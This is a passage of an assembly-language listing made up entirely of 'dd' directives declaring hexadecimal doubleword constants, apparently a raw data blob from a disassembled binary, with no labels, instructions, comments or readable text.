dd 0E46D54B0h, 0CE74DCE7h, 0ACF98719h, 1FD01768h, 0CFD7E0A7h dd 0DE0FBC11h, 0EF865981h, 1291BD42h, 8C1EFF41h, 62153801h dd 0A0CB3635h, 122B9726h, 31FF417h, 2D0B5DC5h, 0A0CCB0C0h dd 0A8BD3A24h, 8B1F4C87h, 0DF2B602Ch, 0F6DA0148h, 892083C5h dd 808BE720h, 96BC3EA0h, 347C0412h, 87360A62h, 2140CA8Bh dd 0D4150F4Ch, 0AD9D73C3h dd 7CB277A3h, 9A43148Eh, 70877D21h, 0D4B187B8h, 0FF001BFEh dd 0EB0BC6E6h, 0A68490h, 307E284Ah, 0A744E40Eh, 598DD200h dd 29B2412Bh, 45FF00FEh, 8AE501F6h, 4F00DA1Dh, 6C6DB935h dd 74B91F5h, 690CE0A8h, 2A514013h, 957A50B6h, 4FDEF400h dd 47FD1290h, 5D8003C1h, 1579C55Fh, 6B608BA0h, 954C4F00h dd 6ABB22B6h, 5A120033h, 9D58066Dh, 0F2031E1Ch, 0F5B1089Ah dd 8F57E827h, 0DF0500C9h, 0AE5BC2E4h, 0C6F820FDh, 92F935B0h dd 75110AF4h, 0FD8F03B0h, 0D818E06Ah, 66A0FF9Ch, 21340802h dd 65E56E00h, 4BE6A3A1h, 880601FEh, 773B9FF9h, 1B862A5h dd 75A97D64h, 0E0FB89FCh, 369AE416h, 78108A7Ah, 14B0D798h dd 0C03680C8h, 18CC6519h, 9A22EA46h, 6521121Dh, 57903A80h dd 1812BA4h, 97ADF861h, 9E2DFCC9h, 0B88B2F29h, 11000C15h dd 44372E3Eh, 20EC0164h, 0CBFC1F2Bh, 0F9215DA7h, 70BEC80Eh dd 0E9B70D01h, 0F06DF6Ch, 44BDAAFFh, 9ABA1C10h, 906B405Dh dd 0A85E4524h, 0DA9BA305h, 0B580289Dh, 0C19BF89h, 440EF2Fh dd 0C8001B39h, 0C53623D1h, 6686BD62h, 215A086Ch, 0D1D0C60Fh dd 0ECFFC18Eh, 1980BE73h, 0E65483F4h, 0DE0ED36Dh, 0AFD69386h dd 842AA07Fh, 7AAE50Fh, 9636378Eh, 3780BAF7h, 6B1C01F8h dd 91080DBh, 693C5C78h, 302B0070h, 1F9A4134h, 1800908Eh dd 8E0317Fh, 7C407573h, 44C63C4Dh, 0C1F6B687h, 244710A0h dd 0B50041DFh, 6D73D0B9h, 3840FB9Fh, 0D583192Ch, 7A4DB448h dd 0C997AEE1h, 0B789E0BCh, 67490500h, 8F3F7BCCh, 68280F73h dd 0E6805E4Fh, 0E838C8FBh, 8D791500h, 8AC2BB6Ah, 0FA0900B1h dd 274E2B0Ch, 21CAACAh, 9407BAFFh, 78D03CB3h, 7C58B67h dd 45592180h, 575FB064h, 0F81DB8EAh, 77C2BCF0h, 406512B1h dd 0E956A82h, 570531E2h, 4A2A1C23h, 7ADEC0ECh, 580227DEh dd 0B99A9140h, 5BA5C0E9h, 3F8D06F0h, 913C1396h, 3E23ED07h dd 9B404630h, 3F614D21h, 6480F4BAh, 8C7D6A42h, 5100860Bh dd 0C1DCCC9Dh, 0B0C5977h, 37CE032h, 0AA00C85Ch, 704CA9BAh dd 97801A4h, 21498DFFh, 0B088E522h, 45EC3668h, 8C0100EBh dd 78079853h, 2AF8BF43h, 0E9BCFB00h, 57766B0Eh, 0E41F004Eh dd 99B8361Ah, 0D33EA43Ah, 8F03F725h, 7798237Ch, 7F53A847h dd 0FFE10080h, 0D79D35B4h, 0A9010CB6h, 0CB84586Dh, 87F42D1Dh dd 644700FAh, 0E6EE66DCh, 33006528h, 7F5989F2h, 449E17Dh dd 41AD2798h, 0A001FF72h, 18C07ABEh, 0B1B2C8h, 9F3AD22Bh dd 0E16171ABh, 3E73F707h, 31C099C9h, 1D11C6BCh, 2C0217h dd 96DAF3Ah, 183EEA30h, 0F5A89683h, 16892800h, 3A049Fh dd 4048A6C5h, 2C1568EDh, 764C3100h, 29EAE88Dh, 0A7EF0027h dd 0DC4E9430h, 0D703D251h, 4A5CCE6h, 90C4F36Dh, 316729B9h dd 6F28DDA3h, 422817CAh, 0A324A73Eh, 12DE0F21h, 0B99510BEh dd 89A8CF88h, 84CA08DEh, 42AAFE22h, 0DBC911ABh, 7F087621h dd 841790B8h, 6248D11Ah, 24BC7C42h, 0A76F2113h, 35238E12h dd 549BD87Bh, 9D7D004Ch, 5376EF8Dh, 6000AC33h, 6B4EB1A8h dd 7D863D07h, 0D5F000EBh, 6520049Bh, 770063C4h, 0F90F55B7h dd 0B86D72h, 8BE9475Eh, 0F8B5C58Ah, 6C0A7100h, 2B338465h dd 0FEE6FCh, 7B83E3B2h, 0D2AC469Ch, 5DD66E00h, 0E24C0CBFh dd 9690007h, 0A4844808h, 8E0076C1h, 24C8DD19h, 427F0Bh dd 0D8708883h, 0BE975027h, 719E300h, 625D85C9h, 98110043h dd 3FD7323h, 0FE00B769h, 66414E91h, 4839C0h, 0AA0CCA42h dd 6A68A5C4h, 9DFA000h, 0A6537D6Ch, 0D9BC0130h, 2CC25D48h dd 1CF6C81Eh, 0B934CD00h, 0E44BC606h, 0F0AC06CBh, 68BCB22Fh dd 14BEB100h, 0CDEDFB51h, 0DEA23C30h, 279C9D80h, 50174E6Dh dd 7A222A18h, 8920310h, 0D7E2FBC0h, 0A0657000h, 3F6A39h dd 55D385Ah, 503ED920h, 0B716FE00h, 84E45379h, 0E62E0008h dd 0F7EB10E0h, 990C6639h, 0B8FFE58Eh, 7AA5001Eh, 0F16BA059h dd 390127EFh, 0D74079B8h, 0E3F461DBh, 0DFDD00F5h, 0AF46C568h dd 2F056AACh, 0DAA5E813h, 7869A800h, 1EB131DDh, 0C0FFC86Eh dd 3043850Eh, 9607D9FDh, 97E68133h, 4B6E4A80h, 0C417013Bh dd 8D717227h, 9BEE20E2h, 0D07C5500h, 0CC86E1FCh, 0C5E8ABh dd 72EC8F6Dh, 2152D7D3h, 75B8204Ch, 1A03507Eh, 0BFEA7628h dd 2F8BC042h, 0A36B05E2h, 0C0D80AC3h, 996451EEh, 0EB95DB00h dd 82883C84h, 579F0B5Fh, 58005D07h, 0FC966E8Ah, 0D584FD00h dd 808C5315h, 0D3760049h, 95F74A40h, 0FDFCF2A3h, 0F4735228h dd 29586100h, 124B1EFBh, 1D773E34h, 9300133Eh, 0D49FC90Ah dd 2700FEE4h, 0A5F26F15h, 4E3FCBh, 8D3C9A14h, 0F3554521h dd 2CA2FE00h, 2923D738h, 227750h, 7DA57FE4h, 5E34245Ch dd 4310E1Fh, 5440885Fh, 125DFDC1h, 48E6002Fh, 0DDC0C346h dd 3E005C4Fh, 0DAB8E07Fh, 0FC61451Eh, 32D30008h, 0F7058E2Dh dd 7601504Ah, 3BE0171Ch, 0DDC5D04h, 2D6424D2h, 93FC9104h dd 0C1BED300h, 50204Fh, 0B36A8F53h, 0BC3A1A54h, 8035A33Fh dd 0E0F5D72Bh, 197CDEh, 531F792Dh, 1EB6D15Ch, 71ADA324h dd 1CC7081Eh, 32349FE0h, 22B8A880h, 9712009Ch, 9A4D230Fh dd 0E1EDD82h, 6D00054Ah, 56B722C3h, 0DB51F24h, 3E196CEh dd 4F5FCB1Fh, 3663EBB0h, 40866E1Ch, 3222E600h, 7EB948BFh dd 23BD33CDh, 0C0849AD0h, 3D4509FCh, 0ABE7A000h, 127182E9h dd 899001Ch, 1BBE4DDBh, 6C906E8Bh, 16680D0Fh, 0D238E0BFh dd 0F313B6h, 7D3CDB3Ah, 0EE96557Eh, 8314D53Bh, 0D9DA56D7h dd 0B7EF9374h, 0B0E4E04Fh, 72803FA2h, 0AC0102B6h, 4AAB922Ch dd 0B5E8AC98h, 0A406BA00h, 26812A03h, 0D67596h, 468374B1h dd 0E41A44EFh, 2DC011DDh, 0A132B06Ah, 49AF0FC7h, 4AE2EE03h dd 9A60593Dh, 0D539915Ch, 0EF0B8FE5h, 0E2C31EA8h, 0F79C1C49h dd 0CBCD5620h, 0F0DA00AFh, 8905066Ch, 6F07F3B3h, 8BB0E93Ch dd 0F82C5DC0h, 6D360380h, 0B1F710CCh, 0C09B70E1h, 0B80969B3h dd 8E7E3188h, 6293A0B2h, 9096798Eh, 0CEA400DAh, 0FCA1F348h dd 0B102B37Bh, 0CF218415h, 2318C0C1h, 0FF320181h, 0A07661A4h dd 28ADC0B0h, 0CB8AD0A0h, 780AC100h, 1761ECD5h, 12AA037Bh dd 29CCA260h, 4F7E2BE0h, 0FDDBEB00h, 0B99C3897h, 0EC080031h dd 0E606E3C9h, 2B1F8A03h, 654F2D47h, 8D00B09Ah, 52DA8678h dd 0A70245D0h, 0F5C1CA7Ch, 773C606Ah, 0A02A0E06h, 3C209038h dd 7CEFFC21h, 64809D00h, 498CA2BDh, 655B0752h, 7060ED30h dd 0E2464413h, 0DA58E900h, 1F0EBD76h, 315B0002h, 0BFA3573Dh dd 3800BE90h, 0CE28148Bh, 0B7C84F1h, 0E541EEFBh, 4F3DCA81h dd 35D6F01Dh, 0E411DD65h, 0ECD2898h, 0B9D63A2Ch, 0E0DBC6C7h dd 2E6B505Ch, 0BC845A01h, 6EE0A604h, 0BD143E0h, 5537A2F8h dd 0C7E1C70Fh, 6045D2FEh, 94006D2Ch, 23E4ED3h, 714F7F7Ch dd 8F2200A4h, 0C51C8492h, 5C1EB8B2h, 6B003479h, 0A2A4EC0Bh dd 0E2D8001Ah, 29F89CFAh, 450E23DAh, 603BE4C8h, 0FB63EE8Bh dd 788C05Fh, 0EAB2CDA3h, 6B348F04h, 14C04D98h, 5E91AEh dd 0F2D75286h, 0FDC40C78h, 0FF64E300h, 6E5CEFDEh, 9F020061h dd 0CA8F26A1h, 0AC008C40h, 5BEBD648h, 2B6097h, 4F247779h dd 0B6330F88h, 906B6200h, 0FA1E39CCh, 7C6A001Fh, 0ADE03B05h dd 0BC001B55h, 3DA1836Bh, 0F74E61h, 222CB7EEh, 0D4DC3BAAh dd 1B70D900h, 1F55CD06h dd 0C46E00C5h, 0C78A52B8h, 9F01F85Ch, 49CD194h, 46ECA105h dd 92B70093h, 0FDC651EEh, 82874D2h, 6507C0F5h, 7CCF49F1h dd 9F9C8730h, 15113E7Fh, 732CEA00h, 91181937h, 0FADE1B3Bh dd 0B7A084B2h, 0B005EB5h, 0D1BD16DCh, 0DAD221h, 441A3EA5h dd 36A0154Ch, 0D7BB1E00h, 86173A93h, 0BDD10A8Bh, 81A4C5A4h dd 0BC0962E6h, 0FA11CC2Eh, 694D1E01h, 4A2BCDDAh, 0E8CC55DCh dd 0B5D00E0Dh, 5B0008EDh, 8CAB5A6Eh, 5C028400h, 9FE17516h dd 55EAF9h, 0FAF70F41h, 90C0562Ah, 0A0E29112h, 5200CC16h dd 989CA782h, 0F5693E74h, 1D2E4F81h, 20298E5Ah, 0AB5C2AE0h dd 0BA99000Fh, 0DB3750B3h, 1320039h, 9FD86CC9h, 6E2E1D10h dd 0A4006A0Bh, 60D99058h, 0B498A8h, 23C3A603h, 0F4A74BAAh dd 0BA45591Ch, 0AD00E0E4h, 52D9F198h, 0A84E0013h, 5BBB75ACh dd 611419CCh, 3909E95h, 78238F35h, 0E5BEE891h, 0C98C004Ch dd 0F91CC3A7h, 6F003154h, 0D37A38D4h, 0A7C5DD2h, 0D078CB61h dd 0FC1000E4h, 3EAA0BAFh, 8006753Bh, 0C4F4B9C3h, 9F891E73h dd 0A8002678h, 1AB7BF20h, 0D38C4Eh, 4A506021h, 3AEB0C07h dd 0F0151F0Fh, 8FD9E538h, 0CC7D1CC0h, 44B0088h, 3A1D7C44h dd 0C448E8F9h, 947600A1h, 407B1B14h, 0C3133C8Dh, 755E7200h dd 4BC5305Bh, 6BFCF700h, 0EC77F8B5h, 90A0010h, 4367914Dh dd 0F60E3016h, 20B0ACC0h, 37CA8CC1h, 0E2050ED9h, 5AA04D67h dd 885C36F2h, 0D4490724h, 32DE2200h, 80C7DFh, 0FA1B46D1h dd 9B3FB71Ah, 0DF8E400h, 1340CF6Ah, 0E2170049h, 0E867F104h dd 0D000C1F5h, 0C0F38AD4h, 39EAF6Bh, 5BA3CC91h, 9E28BF0h dd 0A71A060h, 19FBAB00h, 0C73A75A0h, 5806157Eh, 4508B867h dd 5E0243B1h, 0C0B25C57h, 0C3AEC6Ch, 0A29FF058h, 53001C10h dd 471AD93h, 97B6470h, 2A7AA4Fh, 7CF3EA83h, 12AC5FD0h dd 3702DAE0h, 0D1AE828Bh, 0E8FC60D9h, 407885h, 5648CF8Fh dd 0B46F8D8Ah, 3D876B38h, 0DCF99F6Eh, 0FB2CBD40h, 1549A51h dd 0F4688A0Ah, 30694344h, 65177EDFh, 0F000CFF6h, 8BB97711h dd 22D5014Eh, 0C00DCA04h, 0DAC2F0E3h, 398F993Dh, 45B78074h dd 0BBF4425Fh, 0E41E012Fh, 0B15DFF0Ah, 0F2E0F775h, 0C808BC22h dd 235946Ch, 0AAA873DCh, 210008ECh, 9F241497h, 52C71Ah dd 0A2CE529h, 8A96B6EDh, 0BBBC4701h, 0E2A8D7E1h, 45BAC50h dd 56E080BDh, 0D3CD6185h, 3170609Ch, 0D400767Bh, 0D3D2530h dd 5CFBC2DBh, 0AC405BD5h, 16120091h, 0FC693F1Bh, 0D034765h dd 66AFB38Dh, 0D47891F2h, 79438E30h, 0D00F00CBh, 4D6FE58Fh dd 0FE0002E6h, 0A0F34C54h, 0AFF7D5Ah, 3A3EE382h, 630C03BEh dd 93C80D86h, 8A0FF31Eh, 5FC13507h, 59983C1h, 4430A6BEh dd 7B470052h, 0CB128FB6h, 8118D650h, 0A5F0FB48h, 8D0900B1h dd 0F547080Dh, 0D1003EDEh, 2DA9D4D5h, 0D96432h, 1EDA42DDh dd 0C5F92C36h, 3EEB9A00h, 1C4B13F6h, 117D1D56h, 6595CB30h dd 0C09C4C07h, 5D316015h, 0B9E5B228h, 7693F503h, 0F03389D7h dd 7C28BDh, 1FAE1738h, 2237C03Dh, 0DE9075E2h, 72059578h dd 0A2D1F3F2h, 0ACF85780h, 0EAE201A7h, 82619157h, 7FE06458h dd 1DD3427h, 1677418h, 3EF2CC50h, 2449092Bh, 400B7Ch, 0CE0788A8h dd 0E71BA2C6h, 4B60A04Bh, 0E22F72h, 28088E32h, 0FF71ED50h dd 7B928040h, 0FBFC1415h, 0D928E896h, 7ED27ABEh, 0F853012Bh dd 57430F67h, 683830C1h, 72D87003h, 0C00E9479h, 0EAF584h dd 520D7895h, 176E0FF2h, 0E41BFE24h, 9BB79A00h, 7158B137h dd 13810079h, 0C097B0C2h, 0C50BD48Ch, 78D601h, 0FC02FF04h dd 687079h, 0F7DF092Ch, 33497BC2h, 0D469CEC0h, 9811F26Ch dd 0B0D10828h, 5360723Ch, 1FC6F98h, 0FFE15027h, 0DC69035Bh dd 6101FE94h, 43250586h, 0AE31F8BEh, 4215889Eh, 1ACE323Bh dd 0CF24FC8Eh, 1D988131h, 16C05060h, 0A5409D3Bh, 748800F0h dd 1E199EBDh, 8A1779E7h, 48019312h, 0A339CF08h, 2D20C440h dd 453B0746h, 909740A7h, 0AA010B10h, 51A0923Ch, 0EFC5DCB4h dd 0D04B3900h, 0E35DE65Bh, 19BD00C9h, 9B365070h, 56488A1Eh dd 0AC91003Ch, 35255559h, 0F66900B5h, 5682B4Ah, 7503CBF7h dd 0E6480A0Fh, 0C0A7C0B1h, 946E6047h, 4E8CA3FCh, 0E20BD48h dd 60536BEAh, 10F37558h, 0D8A04DF6h, 89AD8E0Fh, 2E5DCB80h dd 0DD0BFB4Bh, 80771FE4h, 0A9A0684Dh, 3660002h, 0CA0AEB64h dd 8416EE33h, 0C00245AFh, 5240616Dh, 2C3100A0h, 0A14B2A8Bh dd 56008306h, 5B4FA4C3h, 0D63BB1h, 74D168FEh, 0E2DF0FAFh dd 393AB814h, 1E11079Ch, 7014B791h, 685F4B80h, 0D66C002Fh dd 0F4545A42h, 7B094D32h, 8076B416h, 0EF772809h, 989E48CFh dd 75348482h, 38677011h, 0B0143701h, 20F2DEAEh, 0DF249C14h dd 738094BEh, 0DB974129h, 0FA89225h, 442BED2Fh, 5DBA0F00h dd 4C00DC1Fh, 0B10E58C1h, 0EEEAEE4Dh, 64D3272Dh, 89270483h dd 0A15C8903h, 0C09855B7h, 1A0C3B0h, 0F5D77DE6h, 324B3824h dd 18DA001Ch, 8DD02B9Eh, 9FD5061Fh, 805370A3h, 6513F490h dd 0D05CEE1Ch, 0C76D8D01h, 0EE40C551h, 445E53h, 0A1FDCBC1h dd 0EE0E356Eh, 7812092Eh, 8FB29000h, 4AEF45h, 68C29FE8h dd 0DFA5505Bh, 0DA670D04h, 0C4A0B5EDh, 0B042498Ah, 5048EF3Dh dd 0DEA80500h, 0D4F39E0h, 0E3A5E900h, 0BC15E643h, 0AA900054h dd 0CF777AC3h, 2F00FDE8h, 880AAF94h, 0ECA08079h, 0B68907C7h dd 329B29CBh, 9040BBB5h, 0AC1D9E54h, 0AB80CA68h, 5EF8FA7Ch dd 0D4B70E7Bh, 0C79CE92Fh, 10887077h, 0BF23207Eh, 462EA100h dd 0E5CC619Dh, 997B0142h, 26896DCAh, 1A8B6047h, 48A2E700h dd 0B6EF3F8Dh, 34C20437h, 0C7B2813Ah, 80BAA4C6h, 6CBB5508h dd 0C6D6726h, 5A8B7100h, 79101F84h, 0A236002Eh, 0D32B5980h dd 9E2CAA3Ah, 0DA096004h, 50B40030h, 70528Dh, 717D9967h dd 0C116DB64h, 0EAB0D4B0h, 7AA56C02h, 0A0311143h, 99B102D8h dd 24157866h, 8034BFD8h, 0BD452872h, 0FD009A8Bh, 0E6883227h dd 5892F54Eh, 0DC002080h, 3FCBE14Dh, 1C395EC3h, 0B57487BEh dd 64D0A7D8h, 710A6869h, 3A983B5Dh, 0CD765480h, 6DEA9F9Dh dd 0CAA51B00h, 0E5BC8E2Fh, 543F2266h, 4C60A700h, 0BE72CC2h dd 7B91FEF0h, 0CDF0739h, 0D7103B19h, 5D2501EEh, 14AF6027h dd 114FF901h, 0A9F4AD76h, 0E1F6DECh, 7BB304F3h, 96A01CA3h dd 11C06EC6h, 0CF608CE8h, 327C07C4h, 0D038CBADh, 0E558BD24h dd 71E9D89Fh, 63DD16E9h, 0A8D900FBh, 6641ED53h, 0F918E0E4h dd 0E368826Fh, 0E69B03E4h, 695219F5h, 9C982A93h, 2E5C0FC7h dd 920400C5h, 8422A456h, 76F7B65h, 49792448h, 0FFAFB371h dd 99FDDAD0h, 2ED3F00h, 0E1764D38h, 8057122Bh, 3E1900A6h dd 506C378Eh, 0AC8F100h, 97FCD83Ah, 37A0795h, 50186005h dd 85B3D2EFh, 993DBC00h, 8AABE008h, 0AA7E166Ah, 0CF500050h dd 1C4118C8h, 439B3B09h, 210F8058h, 0DDAA73h, 0F59E7BEDh dd 0D5997838h, 6E525400h, 428E5AD4h, 665B0081h, 0AC04B833h dd 7500A3A4h, 8D11AA9Fh, 12A1B1BAh, 2032A20Dh, 546B25F8h dd 0C2AF9107h, 86A05D9Bh, 3A7CC06h, 0EBB72892h, 0AFA147C5h dd 952AF042h, 0B9E35400h, 0FC863072h, 257D0152h, 70CC68BCh dd 0DB2AD4A7h, 0D4CBF200h, 15D2EB04h, 18A660EAh, 5243FC6Eh dd 23242C00h, 0D4B09877h, 0DFC60190h, 0DEEC637Ah, 5A64C08Ch dd 806AD23Dh dd 86B850FFh, 730755h, 0E02E469Dh, 0C18AFB5Bh, 0B25C0F1Fh dd 0C600282Eh, 0D1525E0Dh, 31CD0360h, 0A3D03837h, 0C576E2D8h dd 95DE1C00h, 3AAC3480h, 4C9A0FCBh, 738052AEh, 0F516A049h dd 9B806C90h, 5AF093EDh, 0E488B000h, 339B22B2h, 457400E2h dd 9D189442h, 6213BA6Fh, 900ECB06h, 0ACDBA16Ch, 10205836h dd 0EB241C22h, 64100FB6h, 63A0540Fh, 12058177h, 744BBA25h dd 67013E3Eh, 0D266B668h, 6B2E60E5h, 0CE2F0101h, 439717BAh dd 3622C8h, 0D0FEC68Fh, 6C0A4A48h, 87B7E73Ah, 0C3379CE2h dd 0F4797120h, 0AD0F0058h, 68972599h, 18C09335h, 0BF846A72h dd 0E0616581h, 0F61890AFh, 0D20073D7h, 8027C6C9h, 5EE0A2Dh dd 60B63499h, 824F09Fh, 6DC8A600h, 5B985229h, 985C7710h dd 0E9D200F4h, 3CAD781Ch, 31011E71h, 524D7053h, 830FBCBh dd 20AA0F1Ah, 79804657h, 40EA6B3Eh, 677F4909h, 0C4E4E0B7h dd 50E3003Ch, 2E79F91h, 5FE0CABCh, 80B5E138h, 0B6702887h dd 1478A6h, 0A3489FD2h, 49A27D58h, 13A00F0Eh, 0CB6F2012h dd 0E92CE45h, 0B87BF271h, 2FF0CD00h, 0A7002467h, 356B15ACh dd 62E21Dh, 2E85059h, 25A395D3h, 3A0FB017h, 17D1CC40h dd 2E09CA48h, 1CBB237Bh, 221F4Eh, 66DA5502h, 0CE0F05ECh dd 409E073Ch, 0DE9C7A28h, 0B298A4h, 85376C1Dh, 4DE1CD03h dd 0D2E7081Dh, 1C225501h, 0B07868B4h, 521D83C0h, 0A4164A2Bh dd 6C903E84h, 98AADC6Eh, 290F6A4h, 4EFD73CAh, 0E9C07DD7h dd 0C892F427h, 684C5401h, 0F1876DD8h, 0C169EF24h, 7FB1010h dd 232FF82Ch, 42835B03h, 994A5624h, 94306AEFh, 743F00D0h dd 0BC55A771h, 0B4E2C82h, 902D980Bh, 272434C0h, 7CA0F228h dd 0D0762BCh, 8AE8A42Eh, 3DD48307h, 0F6276F20h, 0B97800DFh dd 1C2C8D07h, 6000296Ch, 0E3A0669h, 0F0E902C8h, 0CAA700E0h dd 768E534Ah, 0E4581FF5h, 65B30110h, 56DA84ADh, 0E8C3A060h dd 0F3063872h, 1A1C500h, 0D390BDB6h, 0FEA55928h, 871473F2h dd 1FF05621h, 4AC041A0h, 796ECB64h, 39CBA063h, 0BF74008Bh dd 24FB1448h, 0BCFFAEh, 0BF80BE57h, 0EEF55FE8h, 8B00B2A6h dd 0A0A5D70Ah, 3F783EBBh, 0DADC5544h, 123A007Bh, 0E940A97Ah dd 2800A886h, 56DDE052h, 1830198h, 6188DE71h, 83693BE7h dd 0FB48A828h, 0C081EA21h, 7BCE0AE1h, 20920002h, 5F271E94h dd 8000CAB3h, 3356C65Bh, 7DDC1FEh, 0DCEC29A0h, 7D5E9068h dd 1F1C9699h, 0CF004D3Eh, 83DB6A16h, 0F9FA00FCh, 0E7099AA0h dd 19000B08h, 0D1A14826h, 3E228D84h, 3C809DCCh, 8174367Eh dd 1900BEC3h, 0B25AA3B1h, 0E52321h, 30F3C0Ch, 0AC1481C4h dd 0E6A7820Fh, 9AECA0CAh, 0FC9928F5h, 0D4E82Bh, 5C59A920h dd 7190E785h, 0ED5B4F07h, 5EE049B1h, 7511C921h, 88A30036h dd 948991F8h, 5302FBFEh, 0BE375BECh, 51E07FA4h, 1C006F98h dd 0D1A36949h, 0DC9339h, 78ACAE1Ah, 0B9C1CAF6h, 46164401h dd 5236D6A3h, 7FD3C4h, 0BD575CB1h, 6E4E9B31h, 4F490100h dd 0CDADA04Ch, 3EF40FB4h, 0E30643Dh, 4058A2C3h, 73D6B955h dd 391C1FA5h, 657E879Ah, 6D93537Fh, 0DEBB9600h, 0A6416163h dd 0AD363FAEh, 0A9084501h, 0FC467F3Ah, 0C53BE5C0h, 19D20040h dd 0F4ACBB73h, 497006Ch, 9CB044C8h, 91607DA4h, 0C00E96B0h dd 631800CBh, 0DE5950CCh, 5F03ADB4h, 0F2138A65h, 12B7A0D5h dd 1C800179h, 23D80C7Eh, 6B74E0FFh, 73A1951Eh, 9330047Ah dd 1C001454h, 551358FBh, 9B99DC07h, 4EAC7Ah, 43FE145Ch dd 0D8491D08h, 7611E30h, 0D7223D06h, 39EECF0Ch, 576568B8h dd 5026BF33h, 8C99F04Fh, 29166F2Eh, 0FA1FFE21h, 61719412h dd 13D00350h, 5883B08h, 0D4162A68h, 0EFA44023h, 1C6611BAh dd 0ECB2CB1Dh, 0C5D37BC0h, 1D67F1h, 4F8D29D5h, 0F6606381h dd 8C2E7E00h, 0A88008EAh, 10A600F2h, 180BE122h, 56007F6Bh dd 2F9CF3BFh, 3C9D3440h, 0B2974A7Bh, 80EC1FC6h, 9F5B431Bh dd 10001603h, 713E33C9h, 12F821B0h, 63C530h, 0B4A834Ah dd 7501DCB9h, 170EBFDDh, 0D1D9855Eh, 711FE70h, 0BB60F663h dd 999610F9h, 0EB0031AAh, 51486FBCh, 3CDF4D4h, 0C694D31Dh dd 8B80D7ACh, 2A30C0D5h, 0E6BCF9A2h, 3BE667h, 8088F331h dd 2D444C53h, 0C0D73D1Dh, 0BF3CD6C0h, 859B76h, 83CCE33Bh dd 384D52C9h, 3222EC1Eh, 0BF172000h, 0B3A284h, 105C21C0h dd 5E7F7766h, 4D4AD30Fh, 3B96C37Ch, 0CBACD0DEh, 591D058Eh dd 80440123h, 0D5A0DCE1h, 53687100h, 638A8052h, 0C5401B2h dd 0C85146D6h, 0E6CAE09Ch, 36A24904h, 22C33ACEh, 1CC9291Ah dd 0C2EFDF04h, 1D932AD3h, 0C2BBF8h, 2B278E14h, 6645A6F1h dd 0EB387A71h, 93077A25h, 223FE2D4h, 6F959DC0h, 0E630001Dh dd 44D634E9h, 7173C1EAh, 0F8D7933Eh, 7E9929C4h, 482AF544h dd 3A18425Dh, 8A211D24h, 12C91278h, 29211D63h, 2B8B0821h dd 88720588h, 0C5943766h, 81F00850h, 84B110D5h, 9444284h dd 2CA3447Fh, 742CD48h, 86502F3Ch, 22518218h, 1C221239h dd 29116132h, 0CCC6F3CDh, 2000D8C7h, 0E81AFDD7h, 58BD23h dd 216B819Ah, 0AE93AB70h, 59C5A700h, 0EDECF17Bh, 7028773Dh dd 188F00A1h, 0CB1C0E1h, 0D2058CA9h, 136DC65Ch, 4485A880h dd 2307261h, 0D3A4FF28h, 5C600E9Dh, 82016947h, 52980F2Ah dd 3BE86BA0h, 7A890042h, 2B9C6E63h, 7558C8ADh, 0AAA700E0h dd 68BFF625h, 81149B0h, 0D53A6300h, 0AB51B38Fh, 1600CD7Dh dd 0CE663913h, 3CC8920h, 0BA244249h, 5FD8518Dh, 29257E4Dh dd 885015h, 0CA4911C6h, 0E3C2A20Fh, 0A54CAD17h, 96CD4803h dd 59880037h, 34DC033Eh, 16005C9Eh, 715F9A2Dh, 12F4A3Dh dd 0D1C3A730h, 0FB85D8EFh, 7CBF982Ah, 78056300h, 0B59EFFC6h dd 3AAF3915h, 0F57BEE00h, 296DE552h, 2D030F7Fh, 836071E1h dd 0B0E0D059h, 0D04900BDh, 0BEE2DC30h, 0FD00E6B9h, 7B35EECh dd 3363376h, 0A31E15C1h, 0F5B04BF2h, 0A8000BB2h, 0DFC7D8D0h dd 1CCABA01h, 289657h, 97FE22B8h, 2103D498h, 0A1CB8E4Bh dd 1E769833h, 9EF207C3h, 0C08C5978h, 4E667767h, 1A00D170h dd 0ED37BE49h, 8EC7AFh, 0B6E2C220h, 0EEE73A38h, 21205370h dd 2AA700D0h, 0D3699C8Ch, 1A00DD47h, 2F9D07ECh, 7091BFh dd 225F7BB5h, 145328B2h, 96F85D1Dh, 40009E52h, 1CDB2992h dd 1B6A003Fh, 766F49E2h, 5B038FB0h, 15C2C859h, 0A29AA84Fh dd 33DC00E5h, 0ED40EBE7h, 5DE22935h, 870013FAh, 0B1C6471Dh dd 0AFA60Eh, 8268B086h, 5329A979h, 80F07C00h, 0DCFBE0E2h dd 4457D5Bh, 6489FEFDh, 0C034C3D2h, 0A4E76800h, 2765E9BFh dd 0CD710541h, 0E07B13h, 395EAFB8h, 8C00AE4Fh, 833073F0h dd 609B26EFh, 76CF20E1h, 9700E7D8h, 79FB5AC9h, 205DFD3h dd 3B7A49B7h, 3F60E960h, 93005D0Dh, 0CD6B7D89h, 1C2F968Ch dd 982DCA8Bh, 0BC22385Bh, 0FFCCEF50h, 41B7DF00h, 0E73FAB6Dh dd 0B1630090h, 0EEC91270h, 3EE05089h, 0B9824404h, 1090660Eh dd 0F12581Bh, 10CB05A7h, 0F8E7DB00h, 78FA39E5h, 5D00A898h dd 0F65BA97Fh, 0D4D0C8h, 29340861h, 0B7AE43A2h, 9B05D290h dd 58E1D991h, 0E06EC20h, 3142A7h, 0B0305181h, 7EA65D8h dd 9E381766h, 0E3F8C033h, 11003AFAh, 0A26FB248h, 0D3C197h dd 1901AA34h, 15147058h, 0F81C3D06h, 0F85E0Bh, 0DD6C5E4h dd 0A7452683h, 8706657Ch dd 49B4C96Fh, 0F85F0048h, 1A2FEFA2h, 0CB0059DCh, 3B43A55Eh dd 0A1D506h, 4853B781h, 642018E3h, 0F2D49000h, 0EA3E2BD9h dd 0ADBD009Ch, 32AB3D3Fh, 934C8D5Eh, 10B0008h, 0E7D9CFF4h dd 2372004Dh, 0FEE238EAh, 1092A3FAh, 5266F203h, 0EE642DAFh dd 0AE8F0280h, 0BBFCA312h, 0E6203C44h, 0D35903CCh, 28D9CA0h dd 7DC56007h, 0A9B02A6Fh, 26D0AE6Dh, 3422F8h, 2D5EDFE0h dd 0E8308DEAh, 5A2E308Ch, 50E93A03h, 27D3E780h, 5814FB23h dd 4BC4CF5Eh, 39BC8491h, 0AD510610h, 0F503F090h, 0EF1A7D2Fh dd 9A60006Ch, 8FEDCFE9h, 71405B47h, 569300F4h, 7ECE7D9Ch dd 0CD59A6EEh, 0C1E706B4h, 76044BBh, 25B1BEF8h, 0F475D0AFh dd 5B7BD08Fh, 0F6023F00h, 0B364937Fh, 247D0F35h, 0E22044DBh dd 0C32980BCh, 7EF66E12h, 7D96E700h, 16A557h, 2FE3173Eh dd 4D912CCEh, 31859003h, 989B40E6h, 2E3D9Dh, 489F6BA8h 